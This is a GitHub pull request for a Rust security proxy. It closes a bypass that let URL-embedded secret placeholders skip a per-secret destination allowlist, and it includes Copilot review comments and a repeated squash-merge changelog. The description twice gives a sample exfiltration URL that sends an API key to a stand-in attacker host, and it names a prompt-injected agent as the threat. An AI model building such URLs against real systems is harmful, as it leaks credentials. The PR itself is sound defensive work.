fix(#22): URL-embedded secrets honor destination allowlist by bglusman · Pull Request #41 · bglusman/calciforge

bglusman · 2026-04-25T04:51:53Z

Summary

Closes the URL-substitution bypass found by triage on PR #22.

`substitute_url()` always passed `None` for `dest_host`, so the per-secret destination allowlist (the headline feature of #22) didn't gate URL-embedded secrets. A prompt-injected agent could exfiltrate via `https://attacker.example/?key={{secret:NAME}}\` even when the allowlist restricted NAME to a specific host.

Fix: extract the host from the PRE-substitution URL and pass it through. If the URL itself parameterizes the host (`https://{{secret:HOST}}/…`) we fail closed because there's no safe destination to gate on.

Removed `substitute_url()` — it was a None-passing wrapper whose only purpose was to hide that the call site wasn't gating on destination.

Test plan

`cargo test -p security-proxy --test destination_allowlist` — 6 pass (5 existing + 1 new regression `allowlist_blocks_url_embedded_secret_to_disallowed_host`)

🤖 Generated with Claude Code

Triage finding on PR #22: substitute_url() always passed None for dest_host, meaning a URL like https://attacker.example/?key={{secret:ANTHROPIC_API_KEY}} would substitute and exfiltrate even though the allowlist explicitly restricted that secret to api.anthropic.com. Fix: extract the host from the PRE-substitution URL and pass it as dest_host to resolve_and_substitute(). If the URL itself contains `{{secret:` in the host portion (the host can't be known until after substitution) we fail closed. Removed substitute_url() — it was a None-passing wrapper whose only purpose was to hide that the call site wasn't gating on destination. New regression test: allowlist_blocks_url_embedded_secret_to_disallowed_host.

Copilot

Pull request overview

Fixes a security bypass where URL-embedded {{secret:...}} substitutions were not gated by the per-secret destination allowlist (introduced in PR #22), enabling exfiltration to disallowed hosts.

Changes:

Extract destination host from the pre-substitution URL and pass it into resolve_and_substitute so URL substitutions are allowlist-gated.
Fail closed when the URL contains a secret reference but the destination host can’t be safely derived pre-substitution.
Add a regression test ensuring URL-embedded secrets are blocked for disallowed destinations; remove the substitute_url() wrapper.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 2 comments.

File	Description
crates/security-proxy/src/proxy.rs	Threads pre-substitution destination host into URL substitution and removes the `None`-passing wrapper that enabled the bypass.
crates/security-proxy/tests/destination_allowlist.rs	Adds an end-to-end regression test covering the URL-embedded secret allowlist bypass.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Copilot · 2026-04-25T04:55:58Z

+        // Edge case: if the URL itself contains `{{secret:` in the host
+        // portion (`https://{{secret:HOST}}/…`), the host can't be known
+        // until after substitution and there's no safe destination to
+        // gate on — fail closed.


The comment says this edge case is specifically about {{secret:...}} appearing in the host portion, but the subsequent check blocks whenever the URL is unparseable and contains {{secret: anywhere (including path/query). Either tighten the condition to detect host-portion substitution specifically, or update the comment to reflect the broader fail-closed behavior to avoid misleading future maintainers.

Suggested change

// Edge case: if the URL itself contains `{{secret:` in the host

// portion (`https://{{secret:HOST}}/…`), the host can't be known

// until after substitution and there's no safe destination to

// gate on — fail closed.

// Edge case: if the URL cannot be parsed before substitution and

// it contains a `{{secret:...}}` reference anywhere, there is no

// trustworthy pre-substitution destination to gate on. This

// includes host substitution (`https://{{secret:HOST}}/…`) and

// malformed URLs with refs in other components, so fail closed.

Copilot · 2026-04-25T04:55:58Z

+        let url_dest_host: Option<String> = reqwest::Url::parse(&target_url)
+            .ok()
+            .and_then(|u| u.host_str().map(|s| s.to_string()));
+        if url_dest_host.is_none() && target_url.contains("{{secret:") {


reqwest::Url::parse(&target_url) runs for every request, even when the URL contains no {{secret:...}} refs (and thus no allowlist gating is needed). Consider guarding this parse behind a cheap pre-check (e.g., target_url.contains("{{secret:")) and/or an empty-allowlist fast path to avoid adding overhead to all proxied traffic.

Suggested change

let url_dest_host: Option<String> = reqwest::Url::parse(&target_url)

.ok()

.and_then(|u| u.host_str().map(|s| s.to_string()));

if url_dest_host.is_none() && target_url.contains("{{secret:") {

let has_secret_ref = target_url.contains("{{secret:");

let url_dest_host: Option<String> = if has_secret_ref {

reqwest::Url::parse(&target_url)

.ok()

.and_then(|u| u.host_str().map(|s| s.to_string()))

} else {

None

};

if has_secret_ref && url_dest_host.is_none() {

…ning (#44) Squash-merge of integration/super-combined — 4 weeks of feature work + cross-PR security fixes + codex agent's hardening, all green CI (14/14 checks). ## Features landing - **fnox secret-resolver integration** (#15) + FnoxClient subprocess wrapper (#21) - **Adversarial commit-reviewer + mechanical pre-commit gate** (#18) - **{{secret:NAME}} substitution engine** in security-proxy URL/headers/body (#19) - **Per-secret destination allowlist** (#22) — RFC §11.1 attack defense - **!secure chat commands** (set/list) on Telegram (#20), Matrix (#28), WhatsApp (#31) - **zeroclawed-mcp** scaffold — agent-facing secret discovery server (#23) - **install.sh wires MCP** into Claude Code agent configs (#26) - **zeroclawed-secret-paste** — localhost web UI for one-shot secret input (#34) - **Bulk paste UI** — .env-style multi-secret onboarding with per-line results - **LAN-friendly defaults** — bind 0.0.0.0 + RFC 1918 Origin acceptance - **WhatsApp HMAC verification** (was always-true placeholder before — codex hardening) ## Security fixes folded in - /vault/:secret bearer auth + 127.0.0.1 default bind (#39) - URL-embedded secrets honor destination allowlist (#41) - Paste-flow: bearer URL only at debug, fnox set via stdin not argv (#40) - Paste-flow: graceful shutdown, exit-on-submit, reject Origin: null (#43) - Subprocess timeouts + kill_on_drop on FnoxClient - BrokenPipe-tolerant stdin write (Linux CI surface) - Header-value log redaction - OneCLI bound to 127.0.0.1 by default - Sanitized real API token + Telegram IDs from sample configs (#36) ## Architecture / refactors - Consolidated onecli binary into security-proxy (#17) - Hardcoded vault URL removed from onecli-client - security-proxy resolver wired into hot path - Extracted build_app router; migrated /vault/:secret route - !secure parser uses split_whitespace (was splitn), audit-logs invocations ## Test coverage added - security-proxy substitution engine + body/headers tests - onecli-client retry + Http(_) variant + adversarial fallthrough suite - onecli-client client.rs rewritten from tautologies to wiremock-backed - config/validator coverage (was zero, now 290-line module covered) - 16 zeroclawed-secret-paste tests including bulk-mode cases ## Docs / RFCs - agent-secret-gateway holistic architecture - consolidation-findings (what #28 must address) - secret-input-web-ui RFC (input-only, new-by-default) - browser-harness integration spike - test-quality-audit Round 1+2+3 (host-agent + zeroclawed priority files) ## Codex agent's hardening cherry-picks - Subprocess timeouts on fnox calls - map_spawn_error helper - Validator hardening + atomic-counter digest race fix - WhatsApp HMAC implementation + tests - proxy header-value log redaction CI: all 14 checks green at squash time. 🤖 Generated with [Claude Code](https://claude.com/claude-code)

bglusman · 2026-04-25T18:38:13Z

Subsumed by #44 (squashed to 9ed51fbc on main). All commits from this branch are present in the squash. Closing as redundant rather than merging again.

…ning (#44) Squash-merge of integration/super-combined — 4 weeks of feature work + cross-PR security fixes + codex agent's hardening, all green CI (14/14 checks). ## Features landing - **fnox secret-resolver integration** (#15) + FnoxClient subprocess wrapper (#21) - **Adversarial commit-reviewer + mechanical pre-commit gate** (#18) - **{{secret:NAME}} substitution engine** in security-proxy URL/headers/body (#19) - **Per-secret destination allowlist** (#22) — RFC §11.1 attack defense - **!secure chat commands** (set/list) on Telegram (#20), Matrix (#28), WhatsApp (#31) - **zeroclawed-mcp** scaffold — agent-facing secret discovery server (#23) - **install.sh wires MCP** into Claude Code agent configs (#26) - **zeroclawed-secret-paste** — localhost web UI for one-shot secret input (#34) - **Bulk paste UI** — .env-style multi-secret onboarding with per-line results - **LAN-friendly defaults** — bind 0.0.0.0 + RFC 1918 Origin acceptance - **WhatsApp HMAC verification** (was always-true placeholder before — codex hardening) ## Security fixes folded in - /vault/:secret bearer auth + 127.0.0.1 default bind (#39) - URL-embedded secrets honor destination allowlist (#41) - Paste-flow: bearer URL only at debug, fnox set via stdin not argv (#40) - Paste-flow: graceful shutdown, exit-on-submit, reject Origin: null (#43) - Subprocess timeouts + kill_on_drop on FnoxClient - BrokenPipe-tolerant stdin write (Linux CI surface) - Header-value log redaction - OneCLI bound to 127.0.0.1 by default - Sanitized real API token + Telegram IDs from sample configs (#36) ## Architecture / refactors - Consolidated onecli binary into security-proxy (#17) - Hardcoded vault URL removed from onecli-client - security-proxy resolver wired into hot path - Extracted build_app router; migrated /vault/:secret route - !secure parser uses split_whitespace (was splitn), audit-logs invocations ## Test coverage added - security-proxy substitution engine + body/headers tests - onecli-client retry + Http(_) variant + adversarial fallthrough suite - onecli-client client.rs rewritten from tautologies to wiremock-backed - config/validator coverage (was zero, now 290-line module covered) - 16 zeroclawed-secret-paste tests including bulk-mode cases ## Docs / RFCs - agent-secret-gateway holistic architecture - consolidation-findings (what #28 must address) - secret-input-web-ui RFC (input-only, new-by-default) - browser-harness integration spike - test-quality-audit Round 1+2+3 (host-agent + zeroclawed priority files) ## Codex agent's hardening cherry-picks - Subprocess timeouts on fnox calls - map_spawn_error helper - Validator hardening + atomic-counter digest race fix - WhatsApp HMAC implementation + tests - proxy header-value log redaction CI: all 14 checks green at squash time. 🤖 Generated with [Claude Code](https://claude.com/claude-code)

Copilot AI review requested due to automatic review settings April 25, 2026 04:51

Copilot started reviewing on behalf of bglusman April 25, 2026 04:52 View session

bglusman mentioned this pull request Apr 25, 2026

feat: per-secret destination allowlist (RFC §11.1) #22

Closed

Copilot AI reviewed Apr 25, 2026

View reviewed changes

bglusman mentioned this pull request Apr 25, 2026

[integration] All non-conflicting code changes — evaluation target #42

Closed

bglusman closed this Apr 25, 2026

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

fix(#22): URL-embedded secrets honor destination allowlist#41

fix(#22): URL-embedded secrets honor destination allowlist#41
bglusman wants to merge 1 commit intofeat/secret-destination-allowlistfrom
fix/pr22-url-allowlist-bypass

bglusman commented Apr 25, 2026

Uh oh!

Copilot AI left a comment

Uh oh!

Copilot AI Apr 25, 2026

Uh oh!

Copilot AI Apr 25, 2026

Uh oh!

bglusman commented Apr 25, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants

-        // Edge case: if the URL itself contains `{{secret:` in the host
-        // portion (`https://{{secret:HOST}}/…`), the host can't be known
-        // until after substitution and there's no safe destination to
-        // gate on — fail closed.
+        // Edge case: if the URL cannot be parsed before substitution and
+        // it contains a `{{secret:...}}` reference anywhere, there is no
+        // trustworthy pre-substitution destination to gate on. This
+        // includes host substitution (`https://{{secret:HOST}}/…`) and
+        // malformed URLs with refs in other components, so fail closed.

Conversation

bglusman commented Apr 25, 2026

Summary

Test plan

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Reviewed changes

Uh oh!

Copilot AI Apr 25, 2026

Choose a reason for hiding this comment

Uh oh!

Copilot AI Apr 25, 2026

Choose a reason for hiding this comment

Uh oh!

bglusman commented Apr 25, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants